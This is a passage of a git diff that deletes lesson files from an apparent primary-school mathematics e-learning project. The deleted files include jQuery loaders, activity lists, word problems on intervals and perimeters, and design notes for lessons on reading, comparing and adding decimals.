diff --git a/Save_Mathematics/P5/map511m18/map511m18a03/description.py b/Save_Mathematics/P5/map511m18/map511m18a03/description.py
deleted file mode 100644
index f070b4b..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m18a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m18/map511m18a03/lesson.js b/Save_Mathematics/P5/map511m18/map511m18a03/lesson.js
deleted file mode 100644
index 3968c3b..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m18/map511m18a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m18/map511m18a03/source.txt b/Save_Mathematics/P5/map511m18/map511m18a03/source.txt
deleted file mode 100644
index 0c96f02..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a03/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independent&nbsp; Practice
-</p>
-<p>
- 1.40pupils joined hands to make a rectangular figure,the space between every two pupils was 20dm.Find the distance in meters round the rectangular made.
- <br />
- <br />
- <br />
- 2)Find the number of intervals each 26cm needed to cover a distance of 2600cm.
- <br />
- <br />
- <br />
- 3)A circular garden has 80 trees surrounding it.If they were planted at an interval of 18meters apart,find the perimeter of the garden.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a04/a.txt b/Save_Mathematics/P5/map511m18/map511m18a04/a.txt
deleted file mode 100644
index dfeefc0..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a04/a.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1)Sorghum plants require a space of 80 cm apart.Find the length of a garden planted with a line of 20 sorghum plants.
- <br />
- <br />
- <br />
- 2)The distance from the first to the last tree on a line is 4950 centimeters.If the distance between them is 50cm,how many intervals are there?
- <br />
- <br />
- <br />
- 3)How far in meters is the tenth pupil from the first pupil on a line if the space between the pupils is 15dam?
- <br />
- <br />
- <br />
- 4)Find the perimeter of a circular piece of land fenced with 450trees each 5meters apart
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a04/description.py b/Save_Mathematics/P5/map511m18/map511m18a04/description.py
deleted file mode 100644
index 9b8ff2e..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m18a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m18/map511m18a04/lesson.js b/Save_Mathematics/P5/map511m18/map511m18a04/lesson.js
deleted file mode 100644
index f295e4d..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m18/map511m18a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m18/map511m18a04/source.txt b/Save_Mathematics/P5/map511m18/map511m18a04/source.txt
deleted file mode 100644
index dfeefc0..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a04/source.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1)Sorghum plants require a space of 80 cm apart.Find the length of a garden planted with a line of 20 sorghum plants.
- <br />
- <br />
- <br />
- 2)The distance from the first to the last tree on a line is 4950 centimeters.If the distance between them is 50cm,how many intervals are there?
- <br />
- <br />
- <br />
- 3)How far in meters is the tenth pupil from the first pupil on a line if the space between the pupils is 15dam?
- <br />
- <br />
- <br />
- 4)Find the perimeter of a circular piece of land fenced with 450trees each 5meters apart
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a05/a.txt b/Save_Mathematics/P5/map511m18/map511m18a05/a.txt
deleted file mode 100644
index f13d6aa..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a05/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remadial
-</p>
-<p>
- 1.How many intervals are needed between 120trees to be fixed around a square farm?
- <br />
- <br />
- <br />
- 2.Julia planted 62seeds on a line.How many intervals did she leave between plants?
- <br />
- <br />
- <br />
- 3)Find the perimeter of a compound surrounded by 90 poles with an interval of 2m apart.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a05/description.py b/Save_Mathematics/P5/map511m18/map511m18a05/description.py
deleted file mode 100644
index 2321baa..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m18a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m18/map511m18a05/lesson.js b/Save_Mathematics/P5/map511m18/map511m18a05/lesson.js
deleted file mode 100644
index a3609a6..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m18/map511m18a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m18/map511m18a05/source.txt b/Save_Mathematics/P5/map511m18/map511m18a05/source.txt
deleted file mode 100644
index f13d6aa..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a05/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remadial
-</p>
-<p>
- 1.How many intervals are needed between 120trees to be fixed around a square farm?
- <br />
- <br />
- <br />
- 2.Julia planted 62seeds on a line.How many intervals did she leave between plants?
- <br />
- <br />
- <br />
- 3)Find the perimeter of a compound surrounded by 90 poles with an interval of 2m apart.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a06/a.txt b/Save_Mathematics/P5/map511m18/map511m18a06/a.txt
deleted file mode 100644
index e9e7708..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a06/a.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1)60 learners joined hands to make a square,the space between every two learners was 5m.Find the distance in centimeters round the square made.
- <br />
- <br />
- 2)Find the number of intervals each 4m needed to cover a distance of 2000meters.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a06/description.py b/Save_Mathematics/P5/map511m18/map511m18a06/description.py
deleted file mode 100644
index f172e54..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m18a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m18/map511m18a06/lesson.js b/Save_Mathematics/P5/map511m18/map511m18a06/lesson.js
deleted file mode 100644
index 8650ec2..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m18/map511m18a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m18/map511m18a06/source.txt b/Save_Mathematics/P5/map511m18/map511m18a06/source.txt
deleted file mode 100644
index e9e7708..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a06/source.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1)60 learners joined hands to make a square,the space between every two learners was 5m.Find the distance in centimeters round the square made.
- <br />
- <br />
- 2)Find the number of intervals each 4m needed to cover a distance of 2000meters.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map512m01/activities.js b/Save_Mathematics/P5/map512m01/activities.js
deleted file mode 100644
index bc6b891..0000000
--- a/Save_Mathematics/P5/map512m01/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m01a01','blue'],
-['2','2','map5','basic','map512m01a02','blue'],
-['3','3','map5','basic','map512m01a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m01/map512m01a01/a.txt b/Save_Mathematics/P5/map512m01/map512m01a01/a.txt
deleted file mode 100644
index 40a419c..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a01/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Introduction
-
-The computer will explain that decimals are a form of fraction in which the denominator is a power of 10.
-
-The computer will show that decimals fit an expanded place value table (with tenths, hundredths, thousandths positions).
-
-The computer will explain that in English, the ordinal numbers are used for fractions while the cardinal numbers are used for whole numbers.
-
-It will also explain that in reading a whole number plus a decimal fraction, the two parts are separated in figures by a decimal point and in words by 'and'. For example, 3.57 , three and fifty-seven hundredths.
-
-Finally, the computer will emphasize that when reading a decimal, we always represent the decimal point using the word 'and' and read the number on the right of the decimal point as single number with the value of the last place (e.g. 3.5 is three and five tenths. 3.57 is three and fifty-seven hundredths. 3.571 is three and five hundred seventy-one thousandths). For enrichment, the computer might point out that 0.142857 is read as zero and one hundred forty-two thousand eight hundred fifty-seven millionths - or, more often, as zero point one four two eight five seven).
diff --git a/Save_Mathematics/P5/map512m01/map512m01a01/description.py b/Save_Mathematics/P5/map512m01/map512m01a01/description.py
deleted file mode 100644
index 0c39e58..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m01a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m01/map512m01a01/lesson.js b/Save_Mathematics/P5/map512m01/map512m01a01/lesson.js
deleted file mode 100644
index df7e602..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m01/map512m01a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m01/map512m01a01/source.txt b/Save_Mathematics/P5/map512m01/map512m01a01/source.txt
deleted file mode 100644
index 40a419c..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a01/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Introduction
-
-The computer will explain that decimals are a form of fraction in which the denominator is a power of 10.
-
-The computer will show that decimals fit an expanded place value table (with tenths, hundredths, thousandths positions).
-
-The computer will explain that in English, the ordinal numbers are used for fractions while the cardinal numbers are used for whole numbers.
-
-It will also explain that in reading a whole number plus a decimal fraction, the two parts are separated in figures by a decimal point and in words by 'and'. For example, 3.57 , three and fifty-seven hundredths.
-
-Finally, the computer will emphasize that when reading a decimal, we always represent the decimal point using the word 'and' and read the number on the right of the decimal point as single number with the value of the last place (e.g. 3.5 is three and five tenths. 3.57 is three and fifty-seven hundredths. 3.571 is three and five hundred seventy-one thousandths). For enrichment, the computer might point out that 0.142857 is read as zero and one hundred forty-two thousand eight hundred fifty-seven millionths - or, more often, as zero point one four two eight five seven).
diff --git a/Save_Mathematics/P5/map512m01/map512m01a02/a.txt b/Save_Mathematics/P5/map512m01/map512m01a02/a.txt
deleted file mode 100644
index 163dd4d..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a02/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Guided Practice
-
-This activity will give the student a chance to practice reading and writing decimal numbers.
-
-The computer will say a decimal number in English and show the number in text. The student will write the number.
-
-If the answer is not correct, the computer will say and show the the number in English words again while animating the solution (show a decimal point, say 'three and', move a three to the left of the decimal point, say 'fifty-seven hundredths', move 57 to the right of the decimal point).
-
-When the student is satisfied that he/she has mastered this skill, the computer will show a decimal number. The student will form the name of the decimal in English words by dragging the words from a word bank. The student will also say (record) the name and compare his/her recording to the computer's. If the answer is incorrect, the computer will animate the solution.
-
-This process continues until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m01/map512m01a02/description.py b/Save_Mathematics/P5/map512m01/map512m01a02/description.py
deleted file mode 100644
index cc39433..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m01a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m01/map512m01a02/lesson.js b/Save_Mathematics/P5/map512m01/map512m01a02/lesson.js
deleted file mode 100644
index 1281403..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m01/map512m01a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m01/map512m01a02/source.txt b/Save_Mathematics/P5/map512m01/map512m01a02/source.txt
deleted file mode 100644
index 163dd4d..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a02/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Guided Practice
-
-This activity will give the student a chance to practice reading and writing decimal numbers.
-
-The computer will say a decimal number in English and show the number in text. The student will write the number.
-
-If the answer is not correct, the computer will say and show the the number in English words again while animating the solution (show a decimal point, say 'three and', move a three to the left of the decimal point, say 'fifty-seven hundredths', move 57 to the right of the decimal point).
-
-When the student is satisfied that he/she has mastered this skill, the computer will show a decimal number. The student will form the name of the decimal in English words by dragging the words from a word bank. The student will also say (record) the name and compare his/her recording to the computer's. If the answer is incorrect, the computer will animate the solution.
-
-This process continues until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m01/map512m01a03/a.txt b/Save_Mathematics/P5/map512m01/map512m01a03/a.txt
deleted file mode 100644
index 0f53fc8..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a03/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-Evaluation
-
-The computer will say and display in English words a series of decimals. The student will supply the decimal in figures.
-
-(use cgi-bin to call say.py with text as parameter)
-(print text)
-(student supplies number in figures)
-
-The computer will provide a series of decimals in figures. The student will form the name of the decimal words in English (initially by typing in the number - using the word bank as a guide)
-
-(display number -
-student enters name of number in English words
-
-8 of each type. Require 9 right to pass.
-
-lesson.js
-
-This activity is a chance for you to show what you have learned. You will 
-have an opportunity to answer questions like the following examples.
-
-1. Say number - show in words - show answer in numbers
-2. Show number in figures - show typing answer in words
-
-Press start to begin. When you have given your best answer to each question, press apply to record your result.
-
-On apply, show result in scoreboard (sad face, or one, two or three smiley faces).
-
diff --git a/Save_Mathematics/P5/map512m01/map512m01a03/description.py b/Save_Mathematics/P5/map512m01/map512m01a03/description.py
deleted file mode 100644
index a6b0d25..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m01a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m01/map512m01a03/lesson.js b/Save_Mathematics/P5/map512m01/map512m01a03/lesson.js
deleted file mode 100644
index 644cc76..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m01/map512m01a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m01/map512m01a03/source.txt b/Save_Mathematics/P5/map512m01/map512m01a03/source.txt
deleted file mode 100644
index 0f53fc8..0000000
--- a/Save_Mathematics/P5/map512m01/map512m01a03/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-Evaluation
-
-The computer will say and display in English words a series of decimals. The student will supply the decimal in figures.
-
-(use cgi-bin to call say.py with text as parameter)
-(print text)
-(student supplies number in figures)
-
-The computer will provide a series of decimals in figures. The student will form the name of the decimal words in English (initially by typing in the number - using the word bank as a guide)
-
-(display number -
-student enters name of number in English words
-
-8 of each type. Require 9 right to pass.
-
-lesson.js
-
-This activity is a chance for you to show what you have learned. You will 
-have an opportunity to answer questions like the following examples.
-
-1. Say number - show in words - show answer in numbers
-2. Show number in figures - show typing answer in words
-
-Press start to begin. When you have given your best answer to each question, press apply to record your result.
-
-On apply, show result in scoreboard (sad face, or one, two or three smiley faces).
-
diff --git a/Save_Mathematics/P5/map512m02/activities.js b/Save_Mathematics/P5/map512m02/activities.js
deleted file mode 100644
index 23255c9..0000000
--- a/Save_Mathematics/P5/map512m02/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m02a01','blue'],
-['2','2','map5','basic','map512m02a02','blue'],
-['3','3','map5','basic','map512m02a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m02/map512m02a01/a.txt b/Save_Mathematics/P5/map512m02/map512m02a01/a.txt
deleted file mode 100644
index f254fbe..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a01/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-The computer will say and display in English words a series of decimals. The student will supply the decimal in figures.
-
-The computer will provide a series of decimals in figures. The student will form the name of the decimal words in English dragging the correct words from a word bank.
diff --git a/Save_Mathematics/P5/map512m02/map512m02a01/description.py b/Save_Mathematics/P5/map512m02/map512m02a01/description.py
deleted file mode 100644
index 0c58a10..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m02a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m02/map512m02a01/lesson.js b/Save_Mathematics/P5/map512m02/map512m02a01/lesson.js
deleted file mode 100644
index b65feff..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m02/map512m02a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m02/map512m02a01/source.txt b/Save_Mathematics/P5/map512m02/map512m02a01/source.txt
deleted file mode 100644
index f254fbe..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a01/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-The computer will say and display in English words a series of decimals. The student will supply the decimal in figures.
-
-The computer will provide a series of decimals in figures. The student will form the name of the decimal words in English dragging the correct words from a word bank.
diff --git a/Save_Mathematics/P5/map512m02/map512m02a02/a.txt b/Save_Mathematics/P5/map512m02/map512m02a02/a.txt
deleted file mode 100644
index 136cd0a..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a02/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-The computer will present pairs of decimal numbers and ask the student to assign the correct symbol, '=', '<', '>'. If the answer is not correct, the computer will animate the process of finding the correct solution (expand the numbers in a place value table, find the most significant digit which is not equal, assign the symbol according to which is greater (or '=' if all digits match).
-
-The computer will present a list of decimals. The student will drag the numbers into the correct sequence (ascending or descending). If the answer is not correct, the computer will animate the solution with explanation.
-
-This activity will continue until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m02/map512m02a02/description.py b/Save_Mathematics/P5/map512m02/map512m02a02/description.py
deleted file mode 100644
index 23255d4..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m02a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m02/map512m02a02/lesson.js b/Save_Mathematics/P5/map512m02/map512m02a02/lesson.js
deleted file mode 100644
index 733a795..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m02/map512m02a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m02/map512m02a02/source.txt b/Save_Mathematics/P5/map512m02/map512m02a02/source.txt
deleted file mode 100644
index 136cd0a..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a02/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-The computer will present pairs of decimal numbers and ask the student to assign the correct symbol, '=', '<', '>'. If the answer is not correct, the computer will animate the process of finding the correct solution (expand the numbers in a place value table, find the most significant digit which is not equal, assign the symbol according to which is greater (or '=' if all digits match).
-
-The computer will present a list of decimals. The student will drag the numbers into the correct sequence (ascending or descending). If the answer is not correct, the computer will animate the solution with explanation.
-
-This activity will continue until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m02/map512m02a03/a.txt b/Save_Mathematics/P5/map512m02/map512m02a03/a.txt
deleted file mode 100644
index e709fec..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will evaluate whether the student is able to correctly compare and order decimal numbers by giving pairs of numbers and asking the student to compare them showing the result with '=', '<´, or '>'. The computer will give the student lists of decimals to place into the correct ascending or descending sequence. 
diff --git a/Save_Mathematics/P5/map512m02/map512m02a03/description.py b/Save_Mathematics/P5/map512m02/map512m02a03/description.py
deleted file mode 100644
index b7efe35..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m02a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m02/map512m02a03/lesson.js b/Save_Mathematics/P5/map512m02/map512m02a03/lesson.js
deleted file mode 100644
index d5b8f5b..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m02/map512m02a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m02/map512m02a03/source.txt b/Save_Mathematics/P5/map512m02/map512m02a03/source.txt
deleted file mode 100644
index e709fec..0000000
--- a/Save_Mathematics/P5/map512m02/map512m02a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will evaluate whether the student is able to correctly compare and order decimal numbers by giving pairs of numbers and asking the student to compare them showing the result with '=', '<´, or '>'. The computer will give the student lists of decimals to place into the correct ascending or descending sequence. 
diff --git a/Save_Mathematics/P5/map512m03/activities.js b/Save_Mathematics/P5/map512m03/activities.js
deleted file mode 100644
index a258ab1..0000000
--- a/Save_Mathematics/P5/map512m03/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m03a01','blue'],
-['2','2','map5','basic','map512m03a02','blue'],
-['3','3','map5','basic','map512m03a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m03/map512m03a01/a.txt b/Save_Mathematics/P5/map512m03/map512m03a01/a.txt
deleted file mode 100644
index 9dc5800..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a01/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The computer will show examples of forming the sum of pairs or sets of decimal numbers. The computer will show that the numbers need to be expanded into a place table. The computer will remind the student that 10/10 = 1 unit, 10/100 = 1/10 and 100/1000 = 1/100. This means the pattern of regrouping works the same with decimals as it does with whole numbers. Therefore, the procedures which the student already knows for adding and subtracting whole numbers also applies to the addition and subtraction of decimals. 
diff --git a/Save_Mathematics/P5/map512m03/map512m03a01/description.py b/Save_Mathematics/P5/map512m03/map512m03a01/description.py
deleted file mode 100644
index 47cff5d..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m03a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m03/map512m03a01/lesson.js b/Save_Mathematics/P5/map512m03/map512m03a01/lesson.js
deleted file mode 100644
index 6e21357..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m03/map512m03a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m03/map512m03a01/source.txt b/Save_Mathematics/P5/map512m03/map512m03a01/source.txt
deleted file mode 100644
index 9dc5800..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a01/source.txt
